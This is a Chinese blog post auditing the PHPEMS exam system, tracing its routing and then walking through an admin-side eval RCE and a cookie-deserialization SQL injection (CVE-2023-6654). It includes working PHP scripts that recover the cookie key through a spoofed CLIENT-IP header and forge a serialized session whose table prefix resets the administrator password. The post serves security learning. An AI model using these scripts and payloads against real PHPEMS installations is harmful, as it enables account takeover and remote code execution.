当前位置: 首页 > news >正文

代码审计初探

学会了基础的代码审计后,就该提高一下了,学一下一些框架的php代码审计
先从一些小众的、已知存在漏洞的cms入手

phpems php的一款开源考试系统
源码下载
https://down.chinaz.com/soft/34597.htm

环境部署

windows审计,把相关文件放到phpstudy的web目录下
给了一个sql文件,mysql创建一个数据库,在sql文件开始部分加上 use 数据库名。然后navicat或者其他图形化,运行所给sql文件,然后修改一下lib/config.inc.php中的关于数据库的设置就部署完毕
在这里插入图片描述

访问首页,正常显示就是ok(上面的输出是我自己在源码中加的)
在这里插入图片描述

正常调用

如果是做题的话,其实可以直接跳过这步,直接seay扫一下,看看可疑的地方,现在是练习,所以我可以捋一下正常的代码调用流程
以在前台查看内容为例
在这里插入图片描述

首先肯定要看web目录下的index.php
![[代码审计学习-4.png]]
包含了/lib/init.cls.php,lib目录下有很多实现功能的基本类, \PHPEMS\ginko 这个类就在这个php文件里,是这个框架的核心控制器,\PHPEMS是命名空间,
看看这个类的run方法

public function run()  {          //static public $defaultApp = 'core';self::$app = self::$defaultApp;  $ev = self::make('ev');  if($ev->url(0))  {  self::$app = $ev->url(0);  }  self::$module = $ev->url(1);  self::$method = $ev->url(2);  //要包含的文件,不指定默认先在/app/index里找  if(!self::$module)self::$module = 'app';  if(!self::$method)self::$method = 'index';  include PEPATH.'/app/'.self::$app.'/'.self::$module.'.php';  $modulefile = PEPATH.'/app/'.self::$app.'/controller/'.self::$method.'.'.self::$module.'.php';  echo "<br>";  echo "要包含的module文件:".$modulefile;  //  if(file_exists($modulefile))  {          include $modulefile;           $tpl = self::make('tpl');  //给tpl对象的$tpl_var数组属性赋值  $tpl->assign('_app',self::$app);  $tpl->assign('method',self::$method);  $run = new action();  
//            var_dump($run);  $run->display();  }  else die('error:Unknown app to load, the app is '.self::$app);  }

defaultapp就是字符串core,调用了make('ev'),看看在干嘛
![[代码审计学习-5.png]]
$app若有设置,则调用load方法,加载配置文件,

//加载对象类文件并生成对象  /**  * @param $G  * @param null $app  * @return static  */   static public function load($G,$app)  
{  if(!$app)return false;  $o = $G.'_'.$app;  //$L是空数组,第一次加载后就放入做为缓存,下次调用就直接从这里取,不用再去包含对应文件if(!isset(self::$L[$app][$o]))  {  $fl = PEPATH.'/app/'.$app.'/cls/'.$G.'.cls.php';  if(file_exists($fl))  {  include $fl;  }  else return false;  $clsname = '\\PHPEMS\\'.$o;  self::$L[$app][$o] = new $clsname();  if(method_exists(self::$L[$app][$o],'_init'))self::$L[$app][$o]->_init();  }  return self::$L[$app][$o];  
}

审计一下可知,会先检查一下缓存数组是否有了对应的类,如有直接返回,没有的话,就会去包含对应的php文件,然后实例化对应的类,有__init方法就执行次方法
然后再回到make方法,看else分支,是不是跟load很像,
所以这里的逻辑就是如果指定了app,就包含对应的app的目录,没有就去包含lib下的比较基本的类
文件目录
![[代码审计学习-6.png]]
再回到run方法,调用了make('ev')->url(0),url在这个类的构造方法中设置了

public function __construct()  {  $this->strings = \PHPEMS\ginkgo::make('strings');  if (ini_get('magic_quotes_gpc')) {  $get    = $this->stripSlashes($_REQUEST);  $post   = $this->stripSlashes($_POST);  $this->cookie = $this->stripSlashes($_COOKIE);  } else {  $get    = $_REQUEST;  $post   = $_POST;  $this->cookie = $_COOKIE;  }  $this->file = $_FILES;  $this->get = $this->initData($get);  $this->post = $this->initData($post);  $this->url = $this->parseUrl();  $this->cookie = $this->initData($this->cookie);  }

可以看到,这个ev类就是用来接受并预处理服务器接受到的全局变量,跟进parseUrl方法

public function parseUrl()  
{  if(isset($_REQUEST['route']))  {  $r = explode('-',$_REQUEST['route']);  foreach($r as $key => $p)  {  $r[$key] = urlencode($p);  }  }  elseif(isset($_SERVER['QUERY_STRING']))  {  $tmp = explode('#',$_SERVER['QUERY_STRING'],2);  $tp = explode('&',$tmp[0],2);  $r = explode('-',$tp[0]);  foreach($r as $key => $p)  {  $r[$key] = urlencode($p);  }  }  else {  return false;  }  if(!$r[0] || !file_exists('app/'.$r[0].'/'))  {  $r[0] = \PHPEMS\ginkgo::$defaultApp;  }  if(!file_exists('app/'.$r[0].'/'.$r[1].'.php') || $r[1] == 'auto')  {  $r[1] = 'app';  }  if(!file_exists('app/'.$r[0].'/controller/'.$r[2].'.'.$r[1].'.php'))  {  $r[2] = 'index';  }  if($r[1] == 'app' && $this->isMobile())  {  $r[1] = 'phone';  }  if(!$r[3])$r[3] = 'index';  if(substr($r[3],0,1) == '_')$r[3] = 'index';  echo "url解析结果:"."<br>";  var_dump($r);  echo "\n";  return $r;  
}

非常长,前面首页显示的改动就在这里
可以看到这是对$_REQUEST$_SERVER['QUERY_STRING']的处理,前者是包含了get、post、cookie传的变量,后者是url中中的?后面的部分
对查询参数用# & -来分割(explode方法),我只访问了?content,因此得到的三个数组都是只有一个元素content
后面三个file_exist是判断有没有对应的模块,没有则设置成默认的,这里$r只有一个元素content,因此$r[1] $r[2] $r[3] 都被设置成了默认的选项
再回到run方法,这里就可以包含到对应的文件了
在这里插入图片描述

包含了之后,实例化tpl这类,这个类就是用来渲染前端的页面的
在这里插入图片描述

所以这个要加载什么类,是通过对查询参数的分割来确定的,然后用tpl渲染对应的前端

漏洞代码

后台rce

后台存在rce的漏洞,seay很快就扫到漏洞点

public function _init()  
{  $this->sql = \PHPEMS\ginkgo::make('sql');  $this->pdosql = \PHPEMS\ginkgo::make('pdosql');  $this->db = \PHPEMS\ginkgo::make('pepdo');  $this->tpl = \PHPEMS\ginkgo::make('tpl');  $this->pg = \PHPEMS\ginkgo::make('pg');  $this->ev = \PHPEMS\ginkgo::make('ev');  $this->files = \PHPEMS\ginkgo::make('files');  $this->category = \PHPEMS\ginkgo::make('category');  $this->content = \PHPEMS\ginkgo::make('content','content');  //block$this->block = \PHPEMS\ginkgo::make('block','content');  $this->tpl_var = &$this->tpl->tpl_var;  
}public function parseBlock($blockid)  {  $block = $this->block->getBlockById($blockid);  if($block['blocktype'] == 1)  {  echo html_entity_decode($block['blockcontent']['content']);  }  elseif($block['blocktype'] == 2)  {  if($block['blockcontent']['app'] == 'content')  {  $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']);  $blockdata = $this->_getBlockContentList($args);  $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template'])));  $blockcat = $this->category->getCategoryById($block['blockcontent']['catid']);  $blockcatchildren = $this->category->getCategoriesByArgs(array(array("AND","catparent = :catparent",'catparent',$block['blockcontent']['catid'])));  eval(' ?>'.$tp.'<?php  namespace PHPEMS; ');  }  else  {  $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']);  $obj = \PHPEMS\ginkgo::make('api',$block['blockcontent']['app']);  if(method_exists($obj,'parseBlock'))  $blockdata = $obj->parseBlock($args);  else  return false;  }  return true;  }  elseif($block['blocktype'] == 3)  {  if($block['blockcontent']['sql'])  {  $sql = array('sql' => str_replace('[TABLEPRE]',DTH,$block['blockcontent']['sql']));  }  else  {  $tables = array_filter(explode(',',$block['blockcontent']['dbtable']));  $querys = array_filter(explode("\n",str_replace("\r","",html_entity_decode($this->ev->stripSlashes($block['blockcontent']['query'])))));  $args = array();  foreach($querys as $p)  {  $a = explode('|',$p);  if($a[3])  {  if($a[3][0] == '$')  {  $s = stripos($a[3],'[');  $k = substr($a[3],1,$s-1);  $v = substr($a[3],$s,(strlen($a[3]) - $s));  $execode = "\$a[3] = \"{\$this->tpl_var['$k']$v}\";";  }  else  {  $k = substr($a[3],2,(strlen($a[3]) - 2));  $execode = "\$a[3] = \"{\$$k}\";";  }  eval($execode);  }  $args[] = $a;  }  $data = array(false,$tables,$args,false,$block['blockcontent']['order'],$block['blockcontent']['limit']);  $sql = $this->pdosql->makeSelect($data);  }  $blockdata = $this->db->fetchAll($sql,$block['blockcontent']['index']?$block['blockcontent']['index']:false,$block['blockcontent']['serial']?$block['blockcontent']['serial']:false);  $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template'])));  eval(' ?>'.$tp.'<?php  namespace PHPEMS; ');  return true;  }  elseif($block['blocktype'] == 4)  {  $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['content'])));  eval(' ?>'.$tp.'<?php  namespace PHPEMS; ');  }  else  return false;  }  
}

parseBlock这个函数,当blocktype为2 3 4时,都有存在eval来执行$tp,先找$tp是如何获取的,这里以4为例子分析(偷懒),其他的原理也都差不多,有兴趣的可以自己去分析
前面也提到ev是处理全局变量的,定位stripSlashes方法
在这里插入图片描述

注释中提到了,这个方法用来去除转义字符\,而html_entity_decode是php内置函数把 HTML 实体转换为字符
传入的数据是$block['blockcontent']['content'],block是$this->block->getBlockById获取的,block是make('block','content')加载的类
来看看这个make方法
在这里插入图片描述

这一次指定了app,所以会调用load方法,看一下
在这里插入图片描述

跟上面的正常调用差不多,包含对应的文件,然后生成这个类,这里$o=block_content,包含了/app/content/cls/block.cls.php,block_content类应该也在这里了,去看看
确实在这里,同时发现了getBlockById方法
在这里插入图片描述

可以看出,blockcotent是从数据库中取出的,在数据库中也有个x2_block表
在这里插入图片描述

blockcontent一看就是序列化的内容,在$this->db->fetch中,也有反序列化的操作

public function fetch($sql,$unserialize = false)  {  if(!is_array($sql))return false;  if(!$this->linkid)$this->connect();  $query = $this->linkid->prepare($sql['sql']);  $rs = $query->execute($sql['v']);  $this->_log($sql,$query);  if ($rs) {  $query->setFetchMode(\PDO::FETCH_ASSOC);  $tmp = $query->fetch();  if($tmp)  {  if($unserialize)  {  if(is_array($unserialize))  {  foreach($unserialize as $value)  {  $tmp[$value] = unserialize($tmp[$value]);  }  }  else $tmp[$unserialize] = unserialize($tmp[$unserialize]);  }  }  return $tmp;  
}  
else  
return false;  }

makeselect就是构造查询的sql语句,有兴趣的可以自己去跟一下
所以这个$tp的内容就是从数据库中取出的,用id参数查询
再来看,这个在parseBlock在哪调用, /lib/tpl.cls.php中(管理渲染前端的自定义基本类),

public function exeBlock($id)  
{  \PHPEMS\ginkgo::make('api','content')->parseBlock($id);  
}

找exeBlock,在渲染前端注册的页面中调用了,
在这里插入图片描述

但是这里传入的id是1,由上面的代码可知,1只是echo输出,2,3,4才有eval
很巧的是,/app/content那里翻了一下,在/controller/block.master.php中,有个change方法可以改id

private function change()  
{  $blockid = $this->ev->get('blockid');  $blocktype = $this->ev->get('blocktype');  $this->block->modifyBlock($blockid,array('blocktype' => $blocktype));  $message = array(  'statusCode' => 200,  "message" => "操作成功",  "target" => "",  "rel" => "",  "callbackType" => "forward",  "forwardUrl" => "index.php?content-master-blocks&page={$page}"  );  exit(json_encode($message));  
}

在这个系统,跟master相关就是后台管理相关的功能了,
在后台的内容管理找到了这个功能
在这里插入图片描述

这里改成最下面的模板模式,blockid为4,就会走到上面分析的流程,然后点击修改,插入php代码即可
![[代码审计学习-17.png]]
有个小细节,就是 那个eval中,除了$tp后面还加上了个<?php namespace PHPEMS;,那我们构造的php代码中也要在开头声明一个namespace,
php规范中,如果有namespace声明,必须在开头就有一个,否在会报错
在这里插入图片描述

然后保存,去前台注册就发现命令执行成功
在这里插入图片描述

其实这个rce漏洞要后台才能触发,危害也不是很大,毕竟这个后台还有个增加文件上传后缀的功能,增加个php,直接传shell都行
毕竟正常情况后台都不好进
但是上网搜索过这个框架后,发现这个管理员的密码是可以通过反序列化打sql注入修改的(CVE-2023-6654),就可以直接进后台,这就扩大了危害,
西湖论剑2024也考了这个cve,接下来就分析分析

前台修改管理员密码

触发反序列化

前面我在看正常调用时就发现cookie鉴权这里有反序列化点的,还想找pop链rce来着,但失败了,没想到可以打sql注入
用于会话管理、鉴权的是session类,php文件是/lib/session.cls.php,在构造方法中就调用了getSessionId,其他模块的构造方法中都会实例化这个类
所以getSessionId是很容易触发的
在这里插入图片描述

public function getSessionId()  
{  if(!$this->sessionid)  {  $cookie = $this->strings->decode($this->ev->getCookie($this->sessionname));  if($cookie)  {  $this->sessionid = $cookie['sessionid'];  }  }  if(!$this->sessionid)  {  $this->_getOnlySessionid();  $this->setSessionUser(array("sessionid" => $this->sessionid,'sessionip' => $this->ev->getClientIp()));  }  if(!$this->getSessionValue())  {  $this->setSessionUser(array("sessionid" => $this->sessionid,'sessionip' => $this->ev->getClientIp()));  }  return $this->sessionid;  
}

getSessionId这里对cookie中获取的信息,进行解密,然后反序列化
因此cookie中存储的是序列化后的数据

public function decode($info)  
{  $key = CS;  $info = urldecode($info);  $kl = strlen($key);  $il = strlen($info);  for($i = 0; $i < $il; $i++)  {  $p = $i%$kl;  $info[$i] = chr(ord($info[$i])-ord($key[$p]));  }  $info = unserialize($info);  return $info;  
}

反序列化很容易触发,现在要来看怎么造成sql注入

sql注入

全局搜索__destruct
在session类中

public function __destruct()  
{  $data = array('session',array('sessionlasttime' => TIME),array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid)));  $sql = $this->pdosql->makeUpdate($data);  $this->db->exec($sql);  if(rand(0,5) > 4)  {  $data = array('session',array(array('AND',"sessionlasttime <= :sessionlasttime","sessionlasttime",intval((TIME - 3600*24*3)))));  $sql = $this->pdosql->makeDelete($data);  $this->db->exec($sql);  }  
}

这里会makeupdate,顾名思义构造一个update的sql语句,然后exec中,跟进makeupdate看看

public function makeUpdate($args,$tablepre = NULL)  
{  if(!is_array($args))return false;  if($tablepre === NULL)$tb_pre = $this->tablepre;  else $tb_pre = $tablepre;  $tables = $args[0];  $args[1] = $this->_makeDefaultUpdateArgs($tables,$args[1]);  if(is_array($tables))  {  $db_tables = array();  foreach($tables as $p)  {  $db_tables[] = "{$tb_pre}{$p} AS $p";  }  $db_tables = implode(',',$db_tables);  }  else  $db_tables = $tb_pre.$tables;  $v = array();  $pars = $args[1];  if(!is_array($pars))return false;  $parsql = array();  foreach($pars as $key => $value)  {  $parsql[] = $key.' = '.':'.$key;  if(is_array($value))$value = serialize($value);  $v[$key] = $value;  }  $parsql = implode(',',$parsql);  $query = $args[2];  if(!is_array($query))$db_query = 1;  else  {  $q = array();  foreach($query as $p)  {  $q[] = $p[0].' '.$p[1].' ';  if(isset($p[2]))  $v[$p[2]] = $p[3];  }  $db_query = '1 '.implode(' ',$q);  }  if(isset($args[3]))  $db_groups = is_array($args[3])?implode(',',$args[3]):$args[3];  else  $db_groups = '';  if(isset($args[4]))  $db_orders = is_array($args[4])?implode(',',$args[4]):$args[4];  else  $db_orders = '';  if(isset($args[5]))  $db_limits = is_array($args[5])?implode(',',$args[5]):$args[5];  else  $db_limits = '';  if($db_limits == false && $db_limits !== false)$db_limits = $this->_mostlimits;  $db_groups = $db_groups?' GROUP BY '.$db_groups:'';  $db_orders = $db_orders?' ORDER BY '.$db_orders:'';  $sql = 'UPDATE '.$db_tables.' SET '.$parsql.' WHERE '.$db_query.$db_groups.$db_orders.' LIMIT '.$db_limits;  return array('sql' => $sql, 'v' => $v);  
}

前面的一长串的构造参数的过程,最后拼接到$sql这查询语句中,看到直接拼接难道直接有sql注入?其实并没有。上面传进去的参数中

$data = array('session',array('sessionlasttime' => TIME),array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid)));  

参数使用了sessionid = :sessionid,这在pdosql中就是预编译的写法,那咋还能注入呢?
非常的巧妙,大佬们找到了其他注入的地方,
在构造表名$db_tables和类的属性$this->tablepre直接进行了拼接,这里并没有预编译,如果我们能控制反序列化的过程,那不就可以设置这个属性吗,直接设置为

x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--

拼接进去就是

update x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--(其他参数)

这不就把管理员密码改了吗,
本地搭建项目,就可知这个框架的密码加密就是md5,因此这里设置为123456的md5就行
但是前面也提到了,这个cookie是加密的,反序列化前要经过一次解密操作,我们要把这个加密的逻辑搞清楚才行

逆向cookie加密的key

在/lib/string.cls.php中,查看encode和decode代码

public function encode($info)  
{  $info = serialize($info);  $key = CS;  $kl = strlen($key);  $il = strlen($info);  for($i = 0; $i < $il; $i++)  {  $p = $i%$kl;  $info[$i] = chr(ord($info[$i])+ord($key[$p]));  }  return urlencode($info);  
}  public function decode($info)  
{  $key = CS;  $info = urldecode($info);  $kl = strlen($key);  $il = strlen($info);  for($i = 0; $i < $il; $i++)  {  $p = $i%$kl;  $info[$i] = chr(ord($info[$i])-ord($key[$p]));  }  $info = unserialize($info);  return $info;  
}

可以看到,加密的逻辑很简单,循环加上key的ascii码再用chr取字符,然后url编码,解密就是循环减,这key的定义在配置文件config.inc.php中
在这里插入图片描述

这里也提示了,要生成32位的字符串来替换key,如果能找到已知的连续32位的密文,再减去对应位置的32位明文,key不就出了么
因此要寻找cookie里我们可以控制的变量,从而控制某一部分32位的明文
先要用本地的key解密一下cookie看看,序列化数据结构是什么样,(这个cookie是未登录的cookie)
在这里插入图片描述

这里二次url编码的,所以解密时还要再url解码一次

<?php
define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');function encode($info)
{$info = serialize($info);$key = CS;$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])+ord($key[$p]));}return urlencode($info);
}function decode($info)
{$key = CS;$info = urldecode($info);$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])-ord($key[$p]));}
//    $info = unserialize($info);return $info;
}
$cookie="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%2586%2583%25C3%2598%2594%2599%25D5%25CB%25A8%259C%25DA%259F%25C6%25AA%2585%25AD%25D7%259C%25A9%25A2%25B5%25A9r%259Ag%25A6%25D3%259AR%25DF%25A8%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25AC%257C%2597%2584%257B%2591jj%25A3%25EE";echo decode(urldecode($cookie));
//a:8:a:3:{s:9:"sessionid";s:32:"658ebc1de0ff6c335c639a99f70e31fe";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1739930349;}

可以看到没登陆的cookie数据设置,有sessionid sessionip sessiontimelimit 三个字段,审计一下session类,发现只有第二个sessionip是可以控制伪造的
sessionid 是一堆参数(还包含了随机数)的md5
在这里插入图片描述

sessiontimelimit是时间戳,TIME在config.inc.php中定义为time()
在这里插入图片描述

sessionip
在这里插入图片描述

跟进这个方法

public function getClientIp()  
{  if(!isset($this->e['ip']))  {  if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))  $ip = getenv("HTTP_CLIENT_IP");  else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))  $ip = getenv("HTTP_X_FORWARDED_FOR");  else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))  $ip = getenv("REMOTE_ADDR");  else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))  $ip = $_SERVER['REMOTE_ADDR'];  else  $ip = "unknown";  $this->e['ip'] = $ip;  }  return $this->e['ip'];  
}

REMOTE_ADDR是伪造不了的,但是它先检测HTTP_CLIENT_IP,以HTTP开头都是可以伪造的,在http报文中加入相应的键值对即可,比如HTTP_CLIENT_IP就构造CLIENT-IP,可以本地试试,在decode那里加上 echo $info
在这里插入图片描述

伪造成功,所以可以通过部分的已知明文来推key,选取序列化中表示sessionip的部分(32位)
由于前后的数据部分长度都是固定的,所以可以通过下标来动态截取满足32位的长度

<?php  
function reverse($payload1,$payload2)  
{  $il = strlen($payload1);  $key= "";  $kl = 32;  for($i = 0; $i <$kl; $i++)  {  $p = $i%$kl;  $key .= chr(ord($payload1[$i])-ord($payload2[$p]));  }  return $key;  
}  
$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2595%25B4%2581%2596f%2594%25CA%25A7%259F%25ADk%25D8%259B%25C6%25DD%25B8%25D9%25A6%25C9%25AC%259E%2584%25A8%259Af%2596%25D8%25A4%259E%2587%25ACx%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%259A%2589%25AA%255Bei%25A8%259C%2598W%25B1q%258F%2589%257F%258Cgf%2598%2593%25A1%25EBp%25A5%259F%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25E4%25A2%25A1%2595%25E2%25D7%25D4%258A%25EDe%2599%25BA%2585%258Fmd%25A1%25AA%2599%25AAk%25AA%25A2%259E%25F4";  
$info = urldecode($info);  
$info = urldecode($info);  
$know=':"sessionip";s:15:"192.168.184.1';  
//
$info = substr($info,64,32);  
echo reverse($info,$know);

成功把本地的key推了出来
在这里插入图片描述

把这个框架放到我虚拟机上,改一下key,看能不能推出来,部署过程跟上面一致,也是访问首页拿没登陆的cookie
然后用脚本推key

<?php  
function reverse($payload1,$payload2)  
{  $il = strlen($payload1);  $key= "";  $kl = 32;  for($i = 0; $i <$kl; $i++)  {  $p = $i%$kl;  $key .= chr(ord($payload1[$i])-ord($payload2[$p]));  }  return $key;  
}  
//利用伪造的ip,来构造已知的明文
function  get_know($ip='127.0.0.1')  
{  $pre=':"sessionip";s:';  $end='";s:16:"sessiontimelimit";i:';  $pre=$pre.strlen($ip).':"'.$ip;  if(strlen($pre)>32)  {  return substr($pre,0,32);  }  if (strlen($pre)<32) {  $target = $pre . substr($end, 0, 32 - strlen($pre));  return $target;  }  return $pre;  }  $info="%2599%259D%2598r%25E1%25AArinT%25D7%25CA%25A4%25A4%25CA%25D5%25CF%259C%2596Vt%25A4sd%2595p%2586q%259Bk%2591%2594m%2594%259E%259E%25CA%2598%259Bff%2596%25C6%2598%2594a%2593%2599%2592%2595kmr%2594ii%2595%2597%259BZ%259D%25A9j%259Dr%2585%25D8%259D%25D9%25AA%25A1%259F%25A2%259B%25D4%2587l%25A4%259B%259F%259BUcfp_i_%2593d%2595Z%259D%25A9j%2595n%259D%2587%25AB%25CB%25AA%25AB%2599%25A3%25A0%25D8%25CE%259E%2596%25CD%25CF%25CE%259C%25A6Vt%259Asb%259Ai%259Dq%2596fa%2597i%259E%25E2";  
$info = urldecode($info);  
$info = urldecode($info);  
$know=get_know();  
截取序列化字符串密文中关于sessionip的内容(前开的sessionid长度固定,所以可以直接通过下标截取)  
$info = substr($info,64,32);  
echo reverse($info,$know);

在这里插入图片描述

在这里插入图片描述

也是逆出来了

构造恶意序列化数据

然后利用这个key,去构造恶意的序列化数据,看看有什么属性要设置,确保反序列化过程可以走通就行

<?php
namespace PHPEMS;class session
{public function __construct(){$this->sessionid='1';$this->pdosql=new pdosql();$this->db=new pepdo();}
}class pdosql
{public function __construct(){$this->tablepre='x2_user set userpassword="202cb962ac59075b964b07152d234b70" where username="peadmin";#--';$this->db=new pepdo();}}class pepdo
{private $linkid=0;
}
function encode($info)
{$info = serialize($info);$key = '8ce8f78042de11afa3249191c6d8b60d';$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])+ord($key[$p]));}return urlencode(urlencode($info));
}
$a=new session();
$exp=array("sessionid"=>"123123",$a);
echo "\n";
echo encode(($exp));

管理员密码修改成功
在这里插入图片描述

就可以进后台rce了

相关文章:

代码审计初探

学会了基础的代码审计后&#xff0c;就该提高一下了&#xff0c;学一下一些框架的php代码审计 先从一些小众的、已知存在漏洞的cms入手 phpems php的一款开源考试系统 源码下载 https://down.chinaz.com/soft/34597.htm 环境部署 windows审计&#xff0c;把相关文件放到phps…...

Spring面试题2

1、compareable和compactor区别 定义与包位置:Comparable是一个接口&#xff0c;位于java.lang包,需要类去实现接口&#xff1b;而Compactor是一个外部比较器&#xff0c;位于java.util包 用法&#xff1a;Comparable只需要实现int compareTo(T o) 方法&#xff0c;比较当前对…...

Linux 权限系统和软件安装(二):深入理解 Linux 权限系统

在 Linux 的世界里&#xff0c;权限系统犹如一位忠诚的卫士&#xff0c;严密守护着系统中的文件与目录&#xff0c;确保只有具备相应权限的用户才能进行操作。与其他一些操作系统不同&#xff0c;Linux 并不依据文件后缀名来标识文件的操作权限&#xff0c;而是构建了一套独特且…...

二:前端发送POST请求,后端获取数据

接着一&#xff1a;可以通过端口访问公网IP之后 二需要实现&#xff1a;点击飞书多维表格中的按钮&#xff0c;向服务器发送HTTP请求&#xff0c;并执行脚本程序 向服务器发送HTTP请求&#xff1a; 发送请求需要明确一下几个点 请求方法&#xff1a; 由于是向服务器端发送值…...

单机上使用docker搭建minio集群

单机上使用docker搭建minio集群 1.集群安装1.1前提条件1.2步骤指南1.2.1安装 Docker 和 Docker Compose&#xff08;如果尚未安装&#xff09;1.2.2编写docker-compose文件1.2.3启动1.2.4访问 2.使用2.1 mc客户端安装2.2创建一个连接2.3简单使用下 这里在ubuntu上单机安装一个m…...

安全生产月安全知识竞赛主持稿串词

女:尊敬的各位领导、各位来宾 男:各位参赛选手、观众朋友们 合:大家好&#xff5e; 女:安全是天&#xff0c;有了这一份天&#xff0c;我们的员工就会多一份幸福&#xff0c; 我们的企业就会多一丝光彩。 男:安全是地&#xff0c;有了这一片地&#xff0c;我们的员工就多了一…...

C++的设计模式

1. 创建型模式 单例模式 (Singleton) 意图&#xff1a;确保类仅有一个实例&#xff0c;并提供全局访问点。&#xff08;常见的日志类&#xff09;实现&#xff1a;class Singleton { private:static Singleton* instance;Singleton() {} // 私有构造函数 public:static Singl…...

C++手撕AVL树

C手撕AVL树 1、AVL树的概念2、AVL树的结构3、AVL树的插入3.1、大概过程3.2、更新平衡因子3.3、更新平衡因子代码3.4、左单旋3.5、右单旋3.6、右左双旋3.7、左右双旋 4、AVL树的删除5、AVL树的查找6、AVL树的平衡检测7、AVL树的其他函数完整代码 1、AVL树的概念 二叉搜索树虽可…...

写大论文的word版本格式整理,实现自动生成目录、参考文献序号、公式序号、图表序号

前情提要&#xff1a;最近开始写大论文&#xff0c;发现由于内容很多导致用老方法一个一个改的话超级麻烦&#xff0c;需要批量自动化处理&#xff0c;尤其是序号&#xff0c;在不断有增添删减的情况时序号手动调整很慢也容易出错&#xff0c;所以搞一个格式总结&#xff0c;记…...

Redission可重试、超时续约的实现原理(源码分析)

Redission遇到其他进程已经占用资源的时候会在指定时间waitTime内进行重试。实现过程如下&#xff1a; 执行获取锁的lua脚本时&#xff0c;会返回一个值&#xff0c; 如果获取锁成功&#xff0c;返回nil&#xff0c;也就是java里的null 如果获取锁失败&#xff0c;用语句“PT…...

java八股文-消息队列

一、MQ基础篇 1. 什么是消息队列&#xff1f; 消息队列&#xff08;MQ&#xff09;是分布式系统中实现异步通信的中间件&#xff0c;解耦生产者和消费者。 2. 使用场景有哪些&#xff1f; 异步处理&#xff08;如注册后发送邮件&#xff09;系统解耦&#xff08;不同服务通过…...

3分钟idea接入deepseek

DeepSeek简介 DeepSeek 是杭州深度求索人工智能基础技术研究有限公司开发的一系列大语言模型&#xff0c;背后是知名量化资管巨头幻方量化3。它专注于开发先进的大语言模型和相关技术&#xff0c;拥有多个版本的模型&#xff0c;如 DeepSeek-LLM、DeepSeek-V2、DeepSeek-V3 等&…...

【DeepSeek与鸿蒙HarmonyOS:开启应用开发新次元】

引言&#xff1a;科技融合的新曙光 在当今数字化浪潮中&#xff0c;DeepSeek 和鸿蒙 HarmonyOS 宛如两颗璀璨的明星&#xff0c;各自在人工智能和操作系统领域熠熠生辉。DeepSeek 以其强大的大模型能力&#xff0c;在自然语言处理、代码生成等多个领域展现出卓越的性能&#x…...

基于光度立体视觉的三维重建方法

基于光度立体视觉的三维重建方法 一、三维重建概述二、光度立体原理简介三、Halcon:光度立体实验1.四张测试原图2.结果图3.Halcon实验代码 四、相关参考 光度立体视觉通过多角度的光源激励&#xff0c;获取多个不同光照方向下的表面图像&#xff0c;从中重建表面法向&#xff0…...

在VSCode中接入deepseek

注册就送14元2000万tokens。 https://cloud.siliconflow.cn/i/rnbA6i6U各种大模型 下面介绍我是如如接入vscode的 左边生成一个key&#xff0c;呆会vscode要用&#xff0c;不然401. 打开vscod&#xff0c;电脑能上网。下插件。 下好要配置 点它一下。 要配置&#xff0c;全…...

DeepSeek掘金——VSCode 接入DeepSeek V3大模型,附使用说明

VSCode 接入DeepSeek V3大模型,附使用说明 由于近期 DeepSeek 使用人数激增,服务器压力较大,官网已 暂停充值入口 ,且接口响应也开始不稳定,建议使用第三方部署的 DeepSeek,如 硅基流动 或者使用其他模型/插件,如 豆包免费AI插件 MarsCode、阿里免费AI插件 TONGYI Lin…...

申请SSL证书,如何完成域名验证

一、前言 给大家分享一下Lets Encrypt 证书申请时&#xff0c;如何完成域名验证这一步操作的方法。 二、为什么要进行域名验证 申请SSL证书时进行域名验证的主要原因是确保证书只颁发给有权控制特定域名的实体。这是为了保证互联网的安全性和信任&#xff0c;防止恶意方获取不…...

HTTP实验(ENSP模拟器实现)

